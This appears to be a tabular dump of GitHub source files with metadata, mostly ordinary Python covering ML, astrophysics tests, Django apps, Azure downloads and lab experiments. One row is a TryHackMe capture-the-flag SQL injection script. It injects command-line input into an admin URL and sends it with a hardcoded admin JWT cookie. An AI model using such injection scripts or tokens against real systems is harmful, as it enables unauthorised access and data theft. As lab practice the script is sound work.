seq_id string | text string | repo_name string | sub_path string | file_name string | file_ext string | file_size_in_byte int64 | program_lang string | lang string | doc_type string | stars int64 | dataset string | pt string | api list |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
20049471962 | import numpy as np
from keras.applications.vgg16 import preprocess_input
def predict(img_dir):
img = load_img(img_dir)
img = np.resize(img, (224,224,3))
img = preprocess_input(img_to_array(img))
img = (img/255.0)
img = np.expand_dims(img, axis=0)
prediction = model.predict(img)
idx = np.arg... | ocinemod87/Advanced_Topics_Image_Analysis | Assignment_3/custom_metric.py | custom_metric.py | py | 1,949 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "numpy.resize",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "keras.applications.vgg16.preprocess_input",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "numpy.expand_dims",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": ... |
5991316924 | import requests
import re
import sys
inject = sys.argv[1]
url = f"http://10.10.33.143/admin?user={inject}"
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2ODE0MDYxNjZ9.7S5bGRpPZetpWvlwYOa3U2D24wYQGDcm7R_CaLONA5E"
headers = {
"Cookie": f"token... | singha-brother/ctf_challenges | TryHackMe/marketplace/sql_exploit.py | sql_exploit.py | py | 461 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "sys.argv",
"line_number": 6,
"usage_type": "attribute"
},
{
"api_name": "requests.get",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "re.findall",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "re.S",
"line_number": 16,
... |
37412475145 | import pytest
import numpy as np
from ...dust import IsotropicDust
from ...util.functions import B_nu
from .. import Model
from .test_helpers import random_id, get_test_dust
def test_point_source_outside_grid(tmpdir):
dust = get_test_dust()
m = Model()
m.set_cartesian_grid([-1., 1.], [-1., 1.], [-1.,... | hyperion-rt/hyperion | hyperion/model/tests/test_fortran.py | test_fortran.py | py | 2,753 | python | en | code | 51 | github-code | 36 | [
{
"api_name": "test_helpers.get_test_dust",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "numpy.array",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "test_helpers.random_id",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "test_he... |
40272165655 | import abc
import threading
import time
from datetime import datetime
from .AbstractProcess import AbstractProcess
from .SaveStopProcess import SaveStopProcess
from utils.threads import set_thread_name
class SaveStartProcess(AbstractProcess):
@staticmethod
def __parse_buffer(buffer):
try:
... | donghyyun/PF_OfflinePhaseServer | handle_processes/SaveStartProcess.py | SaveStartProcess.py | py | 1,933 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "AbstractProcess.AbstractProcess",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "utils.threads.set_thread_name",
"line_number": 39,
"usage_type": "call"
},
{
"api_name": "threading.current_thread",
"line_number": 40,
"usage_type": "call"
},
{... |
36939059453 | import plotly.express as px
import plotly.graph_objects as go
import pandas as pd
def create_number_tweets_graphic(
data: pd.DataFrame, colors: list[str], time_stamps: list[tuple[int, int]]
) -> go.Figure:
"""Returns a picture with a histogram per newspaper
Args:
data (pd.DataFrame): Data frame w... | drearondov/nlp-newspapersDashboard | nlp_newspapersDashboard/api/number_tweets.py | number_tweets.py | py | 1,038 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "pandas.DataFrame",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "plotly.express.histogram",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "plotly.express",
"line_number": 19,
"usage_type": "name"
},
{
"api_name": "plotly.g... |
22636872735 | import os
os.system('sudo pigpiod')
import time
from random import randint
from random import shuffle
import pigpio
import RPi.GPIO as GPIO
from datetime import datetime
import numpy as np
import pandas as pd
import pygame
###variables for filenames and save locations###
partnum = '001'
device = 'Amp'
filename = 'Sh... | APPLabUofA/Pi_Experiments | Shutter_Grid/Task/shutter_grid.py | shutter_grid.py | py | 6,498 | python | en | code | 4 | github-code | 36 | [
{
"api_name": "os.system",
"line_number": 3,
"usage_type": "call"
},
{
"api_name": "datetime.datetime.now",
"line_number": 20,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 20,
"usage_type": "name"
},
{
"api_name": "pigpio.pi",
"lin... |
1435191130 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import shutil
import azure
from azure.storage import BlobService
import azure.http
import os.path
import sys
import os
import pdb
storage_name = ""
storage_key = ""
def list_files_from_path(container, path):
blob_service = BlobService(account_name=storage_name, accoun... | UnluckyNinja/hwindCode | python/scripts/download_files_from_azure.py | download_files_from_azure.py | py | 1,763 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "azure.storage.BlobService",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "azure.storage.BlobService",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "azure.http",
"line_number": 35,
"usage_type": "attribute"
},
{
"api_name": "o... |
22112532649 | import networkx as nx
import itertools as it
import argparse
import algorithms as algs
import gtf
from utils import get_chr, get_start_pos, get_end_pos, get_pos, merge_list_of_dicts
import utils
import sys
from wig import Wig
from exon_seek import ExonSeek
import multinomial_em as mem
import copy
# logging imports
imp... | ctokheim/PrimerSeq | splice_graph.py | splice_graph.py | py | 24,773 | python | en | code | 11 | github-code | 36 | [
{
"api_name": "networkx.DiGraph",
"line_number": 52,
"usage_type": "call"
},
{
"api_name": "networkx.DiGraph",
"line_number": 81,
"usage_type": "call"
},
{
"api_name": "utils.PrimerSeqError",
"line_number": 118,
"usage_type": "call"
},
{
"api_name": "networkx.weak... |
2849684748 | from django.urls import path
from .views import blog_post,\
blogview,\
search_blog, \
all_blog, \
post_detail,\
createpost, \
updatepost
urlpatterns = [
path('', blogview, name='blogview'),
path('create-post', createpost, name='create-post'),
path('all-blog', all_blog, name = ... | myfrank4everreal/baronshoes_v_2.0 | blog/urls.py | urls.py | py | 585 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.urls.path",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "views.blogview",
"line_number": 12,
"usage_type": "argument"
},
{
"api_name": "django.urls.path",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "views.createpost... |
75321076905 | from modules.amazon_parser import *
from collections import defaultdict
from cosine_sim import cosine_sim
reviews = parserJSON('./library/amazon-review-data.json',)
"""
keys of reviews
`Rate`
`reviewText`
`video`
`verifiedPurchase`
`Date`
`productId`
`reviewId`
`memberId`
`reviewTitle`
"""
#rating for product p give... | josiahcoad/Faker | individual_kevin.py | individual_kevin.py | py | 3,188 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "collections.defaultdict",
"line_number": 26,
"usage_type": "call"
},
{
"api_name": "collections.defaultdict",
"line_number": 27,
"usage_type": "call"
},
{
"api_name": "collections.defaultdict",
"line_number": 28,
"usage_type": "call"
},
{
"api_name"... |
70596977383 | #Create a dataset of normalised spectrograms from files
import os
import numpy as np
import librosa
import audiofile as af
import configparser
from utils.audioTools import getSpectro
debugFlag = False
def main():
config = configparser.ConfigParser()
if debugFlag == True:
config.read(r'configTest.c... | epsln/chiner | utils/makeDS.py | makeDS.py | py | 1,952 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "configparser.ConfigParser",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "os.path.join",
"line_number": 29,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 29,
"usage_type": "attribute"
},
{
"api_name": "os.walk",
"li... |
15287830329 | ##encoding=UTF8
"""
author: Sanhe Hu
compatibility: python3 ONLY
prerequisites: angora.SQLITE
import:
from angora.PandasSQL.sqlite3blackhole import CSVFile, Sqlite3BlackHole
"""
from __future__ import print_function
from angora.SQLITE.core import MetaData, Sqlite3Engine, Table, Column, DataType
from angora.DAT... | MacHu-GWU/Angora | angora/PandasSQL/sqlite3blackhole.py | sqlite3blackhole.py | py | 10,015 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "angora.SQLITE.core.MetaData",
"line_number": 74,
"usage_type": "call"
},
{
"api_name": "angora.SQLITE.core.DataType",
"line_number": 75,
"usage_type": "call"
},
{
"api_name": "numpy.str",
"line_number": 78,
"usage_type": "attribute"
},
{
"api_name":... |
9587688117 | # -*- coding: utf-8 -*-
import Jarvis
import colorama
import sys
def check_python_version():
return sys.version_info[0] == 3
def main():
# enable color on windows
colorama.init()
# start Jarvis
jarvis = Jarvis.Jarvis()
command = " ".join(sys.argv[1:]).strip()
jarvis.executor(command)
i... | sukeesh/Jarvis | jarviscli/__main__.py | __main__.py | py | 451 | python | en | code | 2,765 | github-code | 36 | [
{
"api_name": "sys.version_info",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "colorama.init",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "Jarvis.Jarvis",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "sys.argv",
"line... |
11232703752 | from django.shortcuts import render, get_object_or_404
from .models import Post, Group
def index(request):
"""YaTube - main."""
TEMPLATE = 'posts/index.html'
posts = Post.objects.order_by('-pub_date')[:10]
context = {
'posts': posts
}
return render(request, TEMPLATE, context)
def gro... | semenov-max/yatube_project | yatube/posts/views.py | views.py | py | 620 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "models.Post.objects.order_by",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "models.Post.objects",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "models.Post",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "django... |
23640743170 | from pymongo import MongoClient
from config import DB_USER, DB_PASSWORD, DB_IP_ADDR, DB_AUTH_SOURCE
from console import console, Progress
from time import sleep
def connect_to_db():
console.print("Підключення до бази даних...", end="")
try:
client = MongoClient(DB_IP_ADDR, username=DB_USER, password=D... | WebUraXalys/vstupBot | parser/db.py | db.py | py | 2,401 | python | uk | code | 0 | github-code | 36 | [
{
"api_name": "console.console.print",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "console.console",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "pymongo.MongoClient",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "config.DB_IP_... |
18876976348 | # coding=utf-8
import copy
import logging
import traceback
import time
import socket
from collections import namedtuple
from functools import partial
from logging.handlers import SysLogHandler, WatchedFileHandler
import tornado.options
from tornado.options import options
from tornado.escape import to_unicode
try:
... | nekanek/frontik-without-testing | frontik/frontik_logging.py | frontik_logging.py | py | 7,857 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "graypy.handler.GELFHandler",
"line_number": 20,
"usage_type": "name"
},
{
"api_name": "time.strftime",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "time.localtime",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "copy.deepcopy... |
11425267400 | from django.shortcuts import render, redirect
from .models import Product, SliderImage, Guest, CartItem
from django.http import HttpResponse
from django.db.models import Q
def home(request):
products = Product.objects.all()
slides = SliderImage.objects.all()
category = request.GET.get('category')
brand... | MairaAllen/django--------3 | top/store/views.py | views.py | py | 1,860 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "models.Product.objects.all",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "models.Product.objects",
"line_number": 7,
"usage_type": "attribute"
},
{
"api_name": "models.Product",
"line_number": 7,
"usage_type": "name"
},
{
"api_name": "mo... |
3050296786 | # coding=utf-8
"""Csv download model definition.
"""
from datetime import datetime
from django.db import models
from django.conf import settings
from django.core.exceptions import ValidationError
from bims.api_views.csv_download import (
send_csv_via_email,
send_rejection_csv,
send_new_csv_notification
)
... | anhtudotinfo/django-bims | bims/models/download_request.py | download_request.py | py | 3,152 | python | en | code | null | github-code | 36 | [
{
"api_name": "os.path.splitext",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 18,
"usage_type": "attribute"
},
{
"api_name": "django.core.exceptions.ValidationError",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "... |
25250856119 | import argparse
import imgkit
import sched
from datetime import datetime, timedelta
from pytz import timezone
from random import randint
from time import sleep, time
from availability_checker import AvailabilityChecker
from config.configuration import SLEEP_TIME, REPORT_HOUR
TIMEZONE = timezone('EST')
def when_to_g... | colecanning/hockey_availability_trigger | run_checks.py | run_checks.py | py | 2,061 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "pytz.timezone",
"line_number": 13,
"usage_type": "call"
},
{
"api_name": "datetime.timedelta",
"line_number": 16,
"usage_type": "call"
},
{
"api_name": "datetime.datetime",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "config.configurati... |
34053641545 | from datetime import datetime, date
import pickle as pickle
def stringfy(value:any, dbtype)->str:
if type(value) == str:
if dbtype == 'mysql':
symbols = ['\\', "'", '"', "(", ")", "%", '&', '@', '*', '[', ']', '{', '}', '^', '!', '/', '-', '+', '?', ';', '~', '|']
for symbol in symb... | ajcltm/Isql_v2 | Isql_v2/sql.py | sql.py | py | 2,592 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "datetime.datetime",
"line_number": 18,
"usage_type": "name"
},
{
"api_name": "datetime.date",
"line_number": 18,
"usage_type": "name"
}
] |
15655252113 | # -*- coding: utf-8 -*-
"""
Created on Sat Oct 13 17:04:34 2018
@author: ecupl
"""
import numpy as np
import pandas as pd
import os,copy
import matplotlib.pyplot as plt
#######################
# #
# HMM最优路径 #
# #
#######################
os.chdir(r"D:\mywork\test")
'''... | shoucangjia1qu/Machine-Learnning1 | Machine Learning 0217 charpter11.py | Machine Learning 0217 charpter11.py | py | 2,970 | python | en | code | 6 | github-code | 36 | [
{
"api_name": "os.chdir",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "numpy.array",
"line_number": 21,
"usage_type": "call"
},
{
"api_name": "numpy.array",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "numpy.array",
"line_number": 23,... |
7666619166 | from PyQt5 import QtWidgets, QtCore, QtGui
from UI import Ui_MainWindow
import sys
import images
import core
from database import SessionLocal, engine
from models import APP, Group, Function
# 创建数据库表
APP.metadata.create_all(bind=engine)
Group.metadata.create_all(bind=engine)
Function.metadata.create_all(bind=engine)
... | mrknow001/API-Explorer | main.py | main.py | py | 2,246 | python | en | code | 29 | github-code | 36 | [
{
"api_name": "models.APP.metadata.create_all",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "models.APP.metadata",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "models.APP",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "da... |
43296470854 | import pytest
from pypy.interpreter.pyparser import pytokenizer
from pypy.interpreter.pyparser.parser import Token
from pypy.interpreter.pyparser.pygram import tokens
from pypy.interpreter.pyparser.error import TokenError
def tokenize(s):
return pytokenizer.generate_tokens(s.splitlines(True) + ["\n"], 0)
def chec... | mozillazg/pypy | pypy/interpreter/pyparser/test/test_pytokenizer.py | test_pytokenizer.py | py | 2,472 | python | en | code | 430 | github-code | 36 | [
{
"api_name": "pypy.interpreter.pyparser.pytokenizer.generate_tokens",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "pypy.interpreter.pyparser.pytokenizer",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "pytest.raises",
"line_number": 11,
"usage_type"... |
22082345466 | #coding=utf-8
import cv2
import numpy as np
import scipy.signal as sp
from scipy import stats
import math
import os
def nothing(*arg):
pass
def get_video():
#address = "http://admin:admin@10.189.149.245:8081" ; locate_method = 4
address = "pictures/video.mp4" ; locate_method = 1
#addre... | Hao-Wang-Henry/Augmented-Reality-Circuit-Learning | final code with AR.py | final code with AR.py | py | 16,471 | python | en | code | 3 | github-code | 36 | [
{
"api_name": "cv2.VideoCapture",
"line_number": 22,
"usage_type": "call"
},
{
"api_name": "cv2.namedWindow",
"line_number": 23,
"usage_type": "call"
},
{
"api_name": "cv2.createTrackbar",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "cv2.createTrackba... |
30589096561 | """mse_home.log module."""
import logging
LOGGER = logging.getLogger("mse")
def setup_logging(debug: bool = False):
"""Configure basic logging."""
logging.basicConfig(format="%(message)s")
LOGGER.setLevel(logging.DEBUG if debug else logging.INFO)
| Cosmian/mse-home-cli | mse_home/log.py | log.py | py | 263 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "logging.getLogger",
"line_number": 5,
"usage_type": "call"
},
{
"api_name": "logging.basicConfig",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "logging.DEBUG",
"line_number": 11,
"usage_type": "attribute"
},
{
"api_name": "logging.INFO"... |
6733216231 | import seaborn as sbn
import numpy as np
import matplotlib.pylab as plt
import scipy as sci
from scipy.io import wavfile
sr, aud_array = wavfile.read(r'C:\Users\jackk\OneDrive - South East Technological University (Waterford Campus)\college backup\semester 7\Digital Signal Processing\mini project\python files\... | jackkelly247/DSP | first steps parsing wav file.py | first steps parsing wav file.py | py | 1,539 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "scipy.io.wavfile.read",
"line_number": 8,
"usage_type": "call"
},
{
"api_name": "scipy.io.wavfile",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "numpy.linspace",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "matplotlib.pylab.... |
31061791335 |
from ..utils import Object
class RemoveAllFilesFromDownloads(Object):
"""
Removes all files from the file download list
Attributes:
ID (:obj:`str`): ``RemoveAllFilesFromDownloads``
Args:
only_active (:obj:`bool`):
Pass true to remove only active downloads, including pau... | iTeam-co/pytglib | pytglib/api/functions/remove_all_files_from_downloads.py | remove_all_files_from_downloads.py | py | 1,245 | python | en | code | 20 | github-code | 36 | [
{
"api_name": "utils.Object",
"line_number": 6,
"usage_type": "name"
}
] |
15958493126 | import os
from itertools import product
import re
from numpy import append, array, bincount, diff, ma, sort #cumsum, nditer, roll, setdiff1d, where
from numpy import product as np_prod
seating_re = re.compile('[L\.]')
workPath = os.path.expanduser("~/Documents/Code/Advent_of_code/2020")
os.chdir(workPath)
#with open... | jdmuss/advent_of_code | 2020/day_11.py | day_11.py | py | 1,586 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "re.compile",
"line_number": 7,
"usage_type": "call"
},
{
"api_name": "os.path.expanduser",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "os.path",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "os.chdir",
"line_number":... |
3113291140 | """common logging for easy integration with application insights"""
import logging
import sys
from typing import Any, Dict, Optional
from opencensus.ext.azure.log_exporter import AzureLogHandler
class FunctionName:
ED = "event_driven"
PACKAGES = {
FunctionName.ED: "event_driven",
}
class OptionalCustom... | dgonzo27/event-driven-architecture | functions/utils/logging.py | logging.py | py | 2,446 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "logging.Formatter",
"line_number": 20,
"usage_type": "attribute"
},
{
"api_name": "logging.Formatter.__init__",
"line_number": 24,
"usage_type": "call"
},
{
"api_name": "logging.Formatter",
"line_number": 24,
"usage_type": "attribute"
},
{
"api_name... |
28065082848 | from argparse import ArgumentParser
from collections import namedtuple, deque
from functools import partial
from random import sample
from time import time
import numpy as np
import torch
from gym import make
from numpy.random import random
from torch import tensor, save, no_grad
from torch.nn import MSELoss
from torc... | Daggerfall-is-the-best-TES-game/reinforcement-learning | Chapter6/02_dqn_pong.py | 02_dqn_pong.py | py | 5,814 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "collections.namedtuple",
"line_number": 31,
"usage_type": "call"
},
{
"api_name": "collections.deque",
"line_number": 36,
"usage_type": "call"
},
{
"api_name": "random.sample",
"line_number": 45,
"usage_type": "call"
},
{
"api_name": "numpy.int64",
... |
28042659077 | import requests
from contextlib import closing
import csv
import codecs
import matplotlib.pyplot as plt
url = 'http://www.mambiente.munimadrid.es/opendata/horario.txt'
with closing(requests.get(url, stream='true')) as r:
reader = csv.reader(codecs.iterdecode(r.iter_lines(), 'utf-8'), delimiter=',')
for row in... | Berckbel/bigDataPython | Ficheros/fIcherosEnWEB1.py | fIcherosEnWEB1.py | py | 835 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "contextlib.closing",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "requests.get",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "csv.reader",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "codecs.iterdecode",
"lin... |
7135785492 | # -*- coding: utf-8 -*-
# ***************************************************
# * File : LSTM_CNN.py
# * Author : Zhefeng Wang
# * Email : wangzhefengr@163.com
# * Date : 2023-05-28
# * Version : 0.1.052816
# * Description : description
# * Link : link
# * Requirement : 相关模块版本需求(例如:... | wangzhefeng/tsproj | models/csdn/LSTM_CNN.py | LSTM_CNN.py | py | 2,422 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.getcwd",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "sys.path",
"line_number": 18,
"usage_type": "attribute"
},
{
"api_name": "sys.path.append",
"line_number": 19,
"usage_type": "call"
},
{
"api_name": "sys.path",
"line_number":... |
40194408515 | from products.models import get_product_model
from django.contrib.auth import get_user_model
from django.test import TestCase
from django.urls import reverse
from django.core.files.uploadedfile import SimpleUploadedFile
import requests
# Create your tests here.
# Images app test
class ImageManagerTest(TestCase):
... | Trojnar/django-store | images/tests.py | tests.py | py | 6,945 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "django.test.TestCase",
"line_number": 11,
"usage_type": "name"
},
{
"api_name": "products.models.get_product_model",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "django.contrib.auth.get_user_model",
"line_number": 22,
"usage_type": "call"
},
... |
16156353318 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
import django.core.validators
class Migration(migrations.Migration):
dependencies = [
('researcher_UI', '0019_auto_20170505_0444'),
]
operations = [
migrations.AddField(
... | langcog/web-cdi | webcdi/researcher_UI/migrations/0020_study_test_period.py | 0020_study_test_period.py | py | 544 | python | en | code | 7 | github-code | 36 | [
{
"api_name": "django.db.migrations.Migration",
"line_number": 8,
"usage_type": "attribute"
},
{
"api_name": "django.db.migrations",
"line_number": 8,
"usage_type": "name"
},
{
"api_name": "django.db.migrations.AddField",
"line_number": 15,
"usage_type": "call"
},
{
... |
24623749772 | from utils.dataloader import make_datapath_list, VOCDataset, DataTransform
from torch.utils import data
from utils.pspnet import *
from torch import optim
import math
from utils import train
rootpath = "./data/VOCdevkit/VOC2012/"
train_img_list, train_anno_list, val_img_list, val_anno_list = make_datapath_list(rootpat... | TOnodera/pytorch-advanced | ch03/main.py | main.py | py | 2,748 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "utils.dataloader.make_datapath_list",
"line_number": 9,
"usage_type": "call"
},
{
"api_name": "utils.dataloader.VOCDataset",
"line_number": 14,
"usage_type": "call"
},
{
"api_name": "utils.dataloader.DataTransform",
"line_number": 15,
"usage_type": "call"
... |
495598497 | # pylint: disable=no-value-for-parameter
from dagster import Output, OutputDefinition, RunConfig, execute_pipeline, pipeline, solid
from dagster.core.instance import DagsterInstance
def test_retries():
fail = {'count': 0}
@solid
def fail_first_times(_, _start_fail):
if fail['count'] < 1:
... | helloworld/continuous-dagster | deploy/dagster_modules/dagster/dagster_tests/core_tests/execution_tests/test_retries.py | test_retries.py | py | 1,768 | python | en | code | 2 | github-code | 36 | [
{
"api_name": "dagster.solid",
"line_number": 10,
"usage_type": "name"
},
{
"api_name": "dagster.Output",
"line_number": 25,
"usage_type": "call"
},
{
"api_name": "dagster.solid",
"line_number": 18,
"usage_type": "call"
},
{
"api_name": "dagster.OutputDefinition",... |
71266832745 | import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns
import sklearn.model_selection as ms
import sklearn.preprocessing as pp
import sklearn.linear_model as lm
import sklearn.ensemble as en
import sklearn.metrics as met
import joblib as jb
df = pd.read_csv('churnprediction_ch9.csv', sep=',', index_... | arfian-rp/machine-learning-python | Churn Prediction/main.py | main.py | py | 2,414 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "pandas.read_csv",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot.pie",
"line_number": 15,
"usage_type": "call"
},
{
"api_name": "matplotlib.pyplot",
"line_number": 15,
"usage_type": "name"
},
{
"api_name": "matplotlib.py... |
12445078745 | import tensorflow as tf
import numpy as np
import matplotlib.pyplot as plt
import os
# Defining the seed for some random operations:
random_seed = 42
# Setting some variables to format the logs:
log_begin_red, log_begin_blue, log_begin_green = '\033[91m', '\033[94m', '\033[92m'
log_begin_bold, log_begin_underline = '... | happiness6533/AI-study-project | supervised_learning/neural_network/regularizers.py | regularizers.py | py | 13,898 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "tensorflow.keras.datasets.mnist.load_data",
"line_number": 17,
"usage_type": "call"
},
{
"api_name": "tensorflow.keras",
"line_number": 17,
"usage_type": "attribute"
},
{
"api_name": "tensorflow.nn.conv2d",
"line_number": 40,
"usage_type": "call"
},
{
... |
22557090121 | import torch
import numpy as np
import matplotlib.pyplot as plt
import torch.optim as optim
from tqdm import tqdm
from cvaegan.conditional_architecture import *
from cvaegan.utils import *
import porespy as ps
DATASET = torch.from_numpy(np.load('./data/bentheimer1000.npy')).reshape(1000,1,128,128,128)
POROSI... | pch-upc/reconstruction-cvaegan | train.py | train.py | py | 6,241 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "torch.from_numpy",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "numpy.load",
"line_number": 10,
"usage_type": "call"
},
{
"api_name": "torch.from_numpy",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "numpy.load",
"line_n... |
7373341985 | import cv2
import numpy as np
from tkinter import *
import tkinter.font
from tkinter import messagebox
from tkinter import filedialog
from pytube import YouTube
from PIL import ImageTk,Image
from bs4 import BeautifulSoup
from datetime import date
from googlesearch import search
import csv
import time, vlc
import pandas... | 07akshay/YouLoader | __init__.py | __init__.py | py | 5,073 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "cv2.VideoCapture",
"line_number": 28,
"usage_type": "call"
},
{
"api_name": "cv2.CascadeClassifier",
"line_number": 32,
"usage_type": "call"
},
{
"api_name": "cv2.cvtColor",
"line_number": 33,
"usage_type": "call"
},
{
"api_name": "cv2.COLOR_BGR2GRA... |
74542668264 | import time
import numpy as np
import tensorflow as tf
import os.path as osp
from baselines import logger
from collections import deque
from baselines.common import explained_variance, set_global_seeds
from baselines.common.models import get_network_builder
import random
try:
from mpi4py import MPI
except ImportErr... | asaiacai/cs285-final-project | baselines/baselines/ppo2/ppo2.py | ppo2.py | py | 12,780 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "mpi4py.MPI",
"line_number": 13,
"usage_type": "name"
},
{
"api_name": "baselines.common.set_global_seeds",
"line_number": 80,
"usage_type": "call"
},
{
"api_name": "tensorflow.keras.optimizers.Adam",
"line_number": 88,
"usage_type": "call"
},
{
"api... |
74532513383 | import time
import pandas as pd
import numpy as np
from os.path import dirname
from . import converters;
from sklearn.datasets.base import Bunch
#Load dataframe
def load_df_dogs_2016(NApolicy = 'none', dropColumns = [], fixErrors = True, fixAge=True, censoringPolicy = 'none', newFeats = True):
module_path = dirna... | elvisnava/svm-thesis | experiments/datasets/dogs_2006_2016.py | dogs_2006_2016.py | py | 6,959 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "os.path.dirname",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "pandas.read_excel",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "numpy.str",
"line_number": 21,
"usage_type": "attribute"
},
{
"api_name": "numpy.int",
"lin... |
7409463239 | from django.http import Http404
from django.shortcuts import render, redirect
from django.db import IntegrityError
from contact_manager.models import Contact, Country
from contact_manager.forms import CountryModelForm
def c_form(request):
if request.method == 'GET':
template = 'contact.html'
... | SRI-VISHVA/Django_Basic | django1/contact_manager/views.py | views.py | py | 2,829 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "contact_manager.models.Contact.objects.all",
"line_number": 12,
"usage_type": "call"
},
{
"api_name": "contact_manager.models.Contact.objects",
"line_number": 12,
"usage_type": "attribute"
},
{
"api_name": "contact_manager.models.Contact",
"line_number": 12,
... |
86452313478 | import algorithm
import pandas as pd
from pymongo import MongoClient
import pymongo
client = MongoClient('localhost', 27017)
db = client['tushare']
data = db.history_data.find({'code':'600446'}).sort([("date", pymongo.ASCENDING)])
df = pd.DataFrame(list(data))
prices = df['close'].values
print(prices... | justquant/dataimport | test.py | test.py | py | 463 | python | en | code | 1 | github-code | 36 | [
{
"api_name": "pymongo.MongoClient",
"line_number": 6,
"usage_type": "call"
},
{
"api_name": "pymongo.ASCENDING",
"line_number": 9,
"usage_type": "attribute"
},
{
"api_name": "pandas.DataFrame",
"line_number": 11,
"usage_type": "call"
},
{
"api_name": "algorithm.s... |
14065733809 | from itertools import combinations
from collections import deque
N, M = map(int, input().split())
room = []
vir_l = []
for n in range(N):
room.append(list(map(int, input().split())))
for m in range(N):
if room[n][m] == 2:
vir_l.append((n,m))
d_v = [(-1,-1), (-1,0), (-1,1), (0,-1), (0,1), (... | yeon-june/BaekJoon | 17142_plus.py | 17142_plus.py | py | 1,863 | python | en | code | 0 | github-code | 36 | [
{
"api_name": "itertools.combinations",
"line_number": 32,
"usage_type": "call"
},
{
"api_name": "collections.deque",
"line_number": 61,
"usage_type": "call"
}
] |
14841863301 | class CRM_loggin:
def loggin(self,username,pwd):
##CRM系系统打开url及登录
from selenium import webdriver
import time
driver = webdriver.Chrome()
driver.maximize_window()
self.driver = driver
self.driver.get('http://localhost:8080/crm/')
